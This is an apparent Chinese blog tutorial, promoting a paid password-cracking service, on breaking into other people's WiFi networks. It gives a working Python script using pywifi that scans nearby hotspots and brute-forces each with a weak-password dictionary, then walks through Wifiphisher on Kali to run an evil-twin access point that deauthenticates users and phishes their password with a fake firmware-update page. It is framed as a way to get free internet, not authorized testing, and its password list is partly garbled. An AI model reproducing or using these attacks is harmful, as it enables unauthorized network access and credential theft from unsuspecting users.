想要WIFI破解,python+字典,这是是少不了的

caocao1年前教程199

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

WIFI破解,Python程序员必学技能。WIFI已经完全普及,现在Python程序员没网,走到哪里都不怕!教你们一招,如何在图片中提取Python脚本代码。图片发送至手机QQ长按后点识别图片中汉字,如果你还不知晓,赶紧去试一试,能给我们减少很大的工作量。想要WIFI破解,python+字典,这是是少不了的。热点加弱口令也是核心。字典自己加精,你的字典有强大,你能破解的WIFI就越多。后面就不再提了。提供两种方法,一般人学到一种即可。

方法一

环境准备

  • python2.7
  • pywifi模块
  • 字典
  • 清除系统中的任何wifi连接记录

导入模块

from pywifi import *
import time
import sys

字典准备

随机搞的wifi弱口令TOP10

12345678
1234567898888888
12345678900000000
8765432166668888
1122334414725836
11111111

配置扫描器

推荐扫描时常可以设置在15-20秒之间,测试时常则可以自定义,考虑到认证速度于距离的关系,我一般设置在15左右,再久的也没意义。到时候就算破解成功的热点,信号也好不到哪里。

def main():
    # 扫描时常
    scantimes = 3
    # 单个密码测试延迟
    testtimes = 15
    output = sys.stdout
    # 结果文件保存路径
    files = "TestRes.txt"
    # 字典列表
    keys = open(sys.argv[1], "r").readlines()
    print "|KEYS %s" % (len(keys))
    # 实例化一个pywifi对象
    wifi = PyWiFi()
    # 选择定一个网卡并赋值于iface
    iface = wifi.interfaces()[0]
    # 通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置
    scanres = scans(iface, scantimes)
    # 统计附近被发现的热点数量
    nums = len(scanres)
    print "|SCAN GET %s" % (nums)
    print "%s%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s" % (
        "-" * 70, 6, "WIFIID", 18, "SSID OR BSSID", 2, "N", 4, "time", 7, "signal", 10, "KEYNUM", 10, "KEY", "=" * 70)
    # 将每一个热点信息逐一进行测试
    for i, x in enumerate(scanres):
        # 测试完毕后,成功的结果讲存储到files中
        res = test(nums - i, iface, x, keys, output, testtimes)
        if res:
            open(files, "a").write(res)

# 扫描周围热点
def scans(face, timeout):
    # 开始扫描
    face.scan()
    time.sleep(timeout)
    # 在若干秒后获取扫描结果
    return face.scan_results()

# 热点测试
def test(i, face, x, key, stu, ts):
    # 显示对应网络名称,考虑到部分中文名啧显示bssid
    showID = x.bssid if len(x.ssid) > len(x.bssid) else x.ssid
    # 迭代字典并进行爆破
    for n, k in enumerate(key):
        x.key = k.strip()
        # 移除所有热点配置
        face.remove_all_network_profiles()
        # 讲封装好的目标尝试连接
        face.connect(face.add_network_profile(x))
        # 初始化状态码,考虑到用0会发生些逻辑错误
        code = 10
        t1 = time.time()
        # 循环刷新状态,如果置为0则密码错误,如超时则进行下一个
        while code != 0:
            time.sleep(0.1)
            code = face.status()
            now = time.time() - t1
            if now > ts:
                break
            stu.write("%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s" % (
                6, i, 18, showID, code, 5, now, 7, x.signal, 10, len(key) - n, 10, k.replace("", "")))
            stu.flush()
            if code == 4:
                face.disconnect()
                return "%-*s| %s | %*s |%*s" % (20, x.ssid, x.bssid, 3, x.signal, 15, k)
    return False

# 案例
# 这里显示本次测试使用了11个弱口令,并扫描到了20个热点,然后开始坑爹的跑起来了
# WIFIID热点的id号 每跑一个会减1
# SSID OR BSSID热点的ssid名或mac地址
# N对热点的连接状态,这个在
# time当前所花去的时间
# signal热点的信号强度,若小越好
# KEYNUM测试密码的id 每跑一个会减1
# KEY当前测试的密码

## 方法二

目前常见的Wi-Fi加密方式有WEP、WPA2和WPS(链接为各自的破解方式),不过有网友反映以往破解WPA2的方法耗时太长,而且不适用于所有WPS启动的接入点。而今天介绍的这种方法则更加省时省力。

### 主要原理

创建一个伪AP来“狸猫换太子”,然后撤销用户AP的授权,通知用户需要进行“固件升级”,需要重新验证密码。你的假AP由于具有相同的SSID,用户便会“交代”密码。这样你就能得到用户的密码,并且让用户采用你的伪AP做为自己的接入点。而对方一无所知。

之前也有类似的脚本,例如Airsnarf;不过我们这次采用的是Wifiphisher,这个优化过的自动化脚本比起前者更加方便。

要完成上述“大业”,你需要KaliLinux和两个无线适配器,其中一个必须能支持数据包注入。

### 第一步:下载Wifiphisher

如图所示,这是已经解开了的Wifiphisher源代码。

当然,如果你懒,也可以复制GitHub上的代码,不用谢~

### 第二步:导航到该目录

接下来,导航到Wifiphisher创建时被解压的目录。就图示而言,为/wifiphisherWi-Fi1.1。

当你看到目录内容时,你会看到wifiphisher.py的脚本。

### 第三步:运行脚本

可以键入下面的脚本实现。

kali > python wifiphisher.py ```

注意这里有一个问题:如果是第一次运行脚本的话,它可能会出现提示安装hostpad的信息,键入Y继续安装即可。

完成的时候,再次运行Wifiphisher脚本。

这次将运行8080和43端口的Web服务器,然后开始搜索附近的Wi-Fi网络。

等待搜索完成,我们会发现一系列Wi-Fi网络名。最下方的wonderhowto就是我们的目标。

第四步:获取密码

按下Ctrl+C,键入想要复制的AP数,在这里我们选择12。

敲下回车,Wifiphisher会显示如下结果,显示了正在使用的界面,还有正被攻击及复制的AP所在的SSID。

目标用户已经取消验证他们的AP,随后会出现一个固件升级的信息,请求他们重新验证。一旦重新验证,他们接入的就是伪接入点了。

当用户输入密码,它会通过Wifiphisher的开放终端传输给你,随后他们依然像平时一样上网,风平浪静,然而他们并不知道我们已经获得了密码。

相关文章

【无线攻防】黑客如何破解你的WiFi密码?

【无线攻防】黑客如何破解你的WiFi密码?

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 本文永久更新修正地址:前...

Kali Linux安装搜狗拼音输入法

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 KaliLinux是一款...

kali破解wifi握手包-GPU破解,速度快到无法想象

kali破解wifi握手包-GPU破解,速度快到无法想象

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 各位小伙伴大家好鸭,鸽了...

8.2.2 使用MSFCONSOLE分析密码

8.2.2 使用MSFCONSOLE分析密码

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 曹操wifi 各位好 又见面了 我是曹操 今天给大家带来一篇新的教程 希望各位细心学习 低调用网 root@kali:~#...